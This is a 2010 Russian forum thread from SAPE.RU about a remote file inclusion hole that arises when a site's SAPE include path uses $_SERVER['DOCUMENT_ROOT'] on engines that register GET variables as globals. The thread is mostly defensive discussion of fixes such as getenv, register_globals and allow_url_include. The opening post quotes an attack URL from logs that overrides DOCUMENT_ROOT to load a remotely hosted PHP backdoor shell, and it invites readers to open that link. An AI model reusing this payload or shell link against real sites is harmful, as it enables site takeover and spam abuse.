Форум SAPE.RU

Форум SAPE.RU (http://forum.sape.ru/index.php)
-   Ошибки при работе с системой (http://forum.sape.ru/forumdisplay.php?f=14)
-   -   Уязвимость сайта после вставки кода sape (http://forum.sape.ru/showthread.php?t=50949)

Shema 17.04.2010 18:24

Уязвимость сайта после вставки кода sape
 
Практика показала, что на некоторых хостингах и для некоторых движков код
Код:

<?php
    if (!defined('_SAPE_USER')){
        define('_SAPE_USER', 'd56b17c1d94442b8874c6ad44aae3202');
    }
    require_once($_SERVER['DOCUMENT_ROOT'].'/'._SAPE_USER.'/sape.php');
    $sape = new SAPE_client();
?>

является уязвимым! А именно строчка
require_once($_SERVER['DOCUMENT_ROOT'].'/'._SAPE_USER.'/sape.php');

Злоумышненники, используя запрос вида
http://www.ваш-сайт.ru////?_SERVER[D...afterlife.txt? могут нарушить работу вашего сайта, в том числе рассылать спам от имени вашего сайта.

В качестве строчки после _SERVER[DOCUMENT_ROOT] используется ссылка на код эксплоита (ссылка из логов http://jokernet.fileave.com/afterlife.txt? живая - можете посмотреть (это не вирус, а тело шелла, так что кликать безопасно), а заодно проверить, не случится ли чего с вашим сайтом, если его подставить на место www.ваш-сайт.ru).

Решение проблемы на стороне сайта:
заменить
Код:

require_once($_SERVER['DOCUMENT_ROOT'].'/'._SAPE_USER.'/sape.php');
на
Код:

require_once(getenv('DOCUMENT_ROOT').'/'._SAPE_USER.'/sape.php');
Просьба к разработчикам sape проверить, не противоречит ли моя замена чему-либо и, если нет, то обновить код для вставки для всех.

drak 17.04.2010 19:56

уходите с хостинга, если вас ломанули.
и гуглите про register globals

MonAmur 17.04.2010 20:13

Цитата:

ссылка из логов http://jokernet.fileave.com/afterlife.txt? живая - можете посмотреть (это не вирус, а тело шелла, так что кликать безопасно)
каспер не пустил...
Цитата:

Обнаружена угроза:
объект заражен Backdoor.PHP.Rst.f

chahlic 17.04.2010 20:16

Цитата:

Сообщение от MonAmur (Сообщение 789137)
каспер не пустил...

аналогичная фигня....

afonia 17.04.2010 20:25

Это что, такой оригинальный способ распространят вирусы ТС придумал? -)))

Shema 18.04.2010 05:01

dark, уходить с хостинга - вариант, переписать движок - тоже вариант (нормально написанный движок и нормально настроенный хостинг такой уязвимости не должны допустить), но если изменить в коде сапы одну строчку, то без потери функциональности проблемы можно избежать (кмк) на любом движке и на любом хостинге.

sylex 18.04.2010 07:26

Shema, неизвестно где и сколько еще в твоем сайте таких уязвимостей

Shema 18.04.2010 12:19

sylex, конечно, неизвестно.

И кстати проверил все свои сайты - сапа не добавила уязвимостей нормально написанному сайту. А вот затрояненный клиент на поддержку достался - куча сайтов с этой проблемой. А учитывая, что у сапы десятки тысяч сайтов, то даже пара процентов проблемных - это много. Поэтому, считаю, что если можно повысить безопасность кода, это надо сделать.

Ank 18.04.2010 19:33

Shema, абсолютно все могут НЕ пользоваться строчкой $_SERVER['DOCUMENT_ROOT'].
Что во первых - не уберет уязвимость, если она есть на этом хостинге.
2 - в приведенном примере что то сапы?

Ну а объяснить как ставить по другому чтобы было понятно ВСЕМ и работало ...

Atomic 18.04.2010 19:49

ТС, мои соболезнования, если ваш хост и сайт позволяют подставлять в ГЕт суперглобальные переменные, то...
Цитата:

http://www.xn----7sbbf2b7bj7b.ru////?_SERVER[DOCUMENT_ROOT]=http://jokernet.fileave.com/afterlife.txt?
где там сапа, ума не приложу

a112 18.04.2010 21:50

Ога, уязвимость не в сапе, а в самом двиге(или возможно в хостинге).

DenB 18.04.2010 22:01

Не в движке уязвимость, а в ДНК у человека, настраивавшего хостинг. Если гет-запросом можно перебить переменную окружения веб сервера, то это однозначный говнохостинг и бежать с него нужно без оглядки!

Shema 18.04.2010 23:23

Atomic, Ank, про то, что говнохостинг есть говнохостинг вопросов нет. То, что движок написан не пойми как, что требует разрешения глобальных переменных и более того позволяет повлиять на свою функциональность переопределением $_SERVER['DOCUMENT_ROOT'] тоже очень плохо. НО я только говорю, что если в такой говнодвижок на таком говнохостинге поставить sape, то через такой говносайт можно творить, что попало, например, рассылать спам или DoS'ить.

Изменив одну строчку в коде-вставке sape, появление такой уязвимости можно не допустить. Я ни в чём не обвиняю sape, просто говорю, как можно чуть улучшить безопасность. Даже если говнохостинг и говнодвижок достались 0.1% клиентов sape, это всё равно тысячи сайтов... почему бы чуть не облегчить им жизнь?

Последний Герой 18.04.2010 23:28

Цитата:

Сообщение от Shema (Сообщение 789961)
Изменив одну строчку в коде-вставке sape, появление такой уязвимости можно не допустить.

найдется движок который из URI выполняет putenv, с ним как быть?

drak 19.04.2010 01:46

Цитата:

Сообщение от Shema (Сообщение 789373)
dark, уходить с хостинга - вариант, переписать движок - тоже вариант (нормально написанный движок и нормально настроенный хостинг такой уязвимости не должны допустить), но если изменить в коде сапы одну строчку, то без потери функциональности проблемы можно избежать (кмк) на любом движке и на любом хостинге.

меня DraK зовут =)
хостер должен заботиться о регистер глобалс, это неоспоримо.

aweksa 19.04.2010 01:57

Хостинг можете озвучить?

Последний Герой 19.04.2010 02:01

Цитата:

Сообщение от drak (Сообщение 790043)
хостер должен заботиться о регистер глобалс, это неоспоримо.

программист не должен обращаться в коде к заведомо не проинициализированным переменным, подразумевая равными их нулю. он должен в самом начале кода присвоить всем переменным значения, в том числе, которые должны быть нулю. тогда и регистер глобалс не страшен.

cataev 19.04.2010 02:28

гы.
да положите сапу в любую папку и делайте так
<?php
if (!defined('_SAPE_USER')){
define('_SAPE_USER', 'd56b17c1d94442b8874c6ad44aae3202');
}
require_once('путь/к/папке/куда/вы/положили/код/сапы/sape.php');
$sape = new SAPE_client();
?>
или напишите в .htaccess
php_value register_globals 0

и вообще, где вы нашли такой "прекрасный" хостинг?

Добавлено через 2 минуты
Shema, зачем облегчать жизнь идиотам?

Ank 19.04.2010 11:08

Цитата:

Сообщение от Shema (Сообщение 789961)
сли в такой говнодвижок на таком говнохостинге поставить sape

да при чем тут сапа то? Именно она включает говно в мозгу хостинговладельца и двигоклепателя?
И писал уже я и cataev и еще помоему - ну не пользуйте $_SERVER['DOCUMENT_ROOT'].
Дыру это НЕ закроет. Сломать такой "хостинг" можно и БЕЗ сапы.

bubblegum 19.04.2010 11:23

Авторитетно заявляю (с) :)
Такая уязвимость возникает при использовании в скрипте вызова фунции extract($_GET) или extract($_REQUEST). Это способ зарегистрировать глобалсы, если скрипт разработан для включенных глобалсов, а на сервере они отключены. При этом значение переменной $_SERVER['DOCUMENT_ROOT'] перекрывает значением извлеченным из $_GET. Безопасным способом использования extract является вызов с параметром extract_type = extr_skip
extract($_GET,extr_skip)

Shema 19.04.2010 13:08

Ладно, я понял, что всем пофиг.
Я свои проблемы и проблемы клиента решил, мне в принципе тоже дальше пофиг.

Не смотря на замечание с putenv (случай имеет право на существование, хотя кажется менее реалистичным), я считаю, что getenv безопаснее, чем суперглобал массивы.

Зачем помогать идиотам? На этот вопрос можно смотреть по-разному. Зачем в машине ABS? (впрочем дальше флейм поддерживать не буду)

dgek1111 19.04.2010 17:32

Цитата:

Сообщение от Shema (Сообщение 790321)
Ладно, я понял, что всем пофиг.
Я свои проблемы и проблемы клиента решил, мне в принципе тоже дальше пофиг.

Вы не решили никаких проблемм. Абсолютно. Вы просто вставили затычку в конкретную дырку которую Вы обнаружили и которая не дырка вовсе.
Проблема то осталась.
По прежнему любой желающий может через GET запрос прописывать переменные окружения вашего сайта так как ему захочется. А значит по прежнему можно ломать ваш сайт.

Хостинг кстати, скорее всего не виноват. Это в движке так намудрили.

therapy 20.04.2010 12:25

приходит на почту - мол, превысил трафик и всё такое.. на 3 гига..
полез на хостинг - нашёл в папке сапы следующие файлы:
links.db - 440 КБ
logs.php - 5,5 КБ
perl5.8.9.core - 3,02 ГБ
sape.php - 24,6 КБ
scanv511.txt - 53,7 КБ
words.db - 1,24 КБ

движок джумла 1.0
интересно, каким образом...

a112 20.04.2010 13:09

А в файлах этих что?

therapy 20.04.2010 13:31

hack hack hack и код..
перл не открывал ))

i58 20.04.2010 13:56

Цитата:

Сообщение от dgek1111 (Сообщение 790576)
Вы не решили никаких проблемм. Абсолютно. Вы просто вставили затычку в конкретную дырку которую Вы обнаружили и которая не дырка вовсе.
Проблема то осталась.
По прежнему любой желающий может через GET запрос прописывать переменные окружения вашего сайта так как ему захочется. А значит по прежнему можно ломать ваш сайт.

Хостинг кстати, скорее всего не виноват. Это в движке так намудрили.

Между прочим, ТС и не претендует ни на что кроме как на закрытие одной конкретной дырки которую он обнаружил в своих конкретных условиях. Вся ветка досужие домыслы и повод показать своё знание пхп :)
Может у него вообще сайт на хтмл, а пхп только для подключения сапы, и он на самом деле решил все свои проблемы.

dgek1111 20.04.2010 16:33

i58, То что закрыл ТС это не дырка вовсе.
Подход в решении проблемы в корне не верный.
Если есть такая лажа то нужно выяснять откуда у нее ноги растут.

conturov 21.04.2010 12:44

Возможно поможет:
php_flag allow_url_include off

Запретить использовать URL в инклудах.


Часовой пояс GMT +3, время: 23:17.

Работает на vBulletin® версия 3.8.7.
Copyright ©2000 - 2020, Jelsoft Enterprises Ltd.
Перевод: zCarot
SAPE.RU — система купли-продажи ссылок с главных и внутренних страниц сайтов.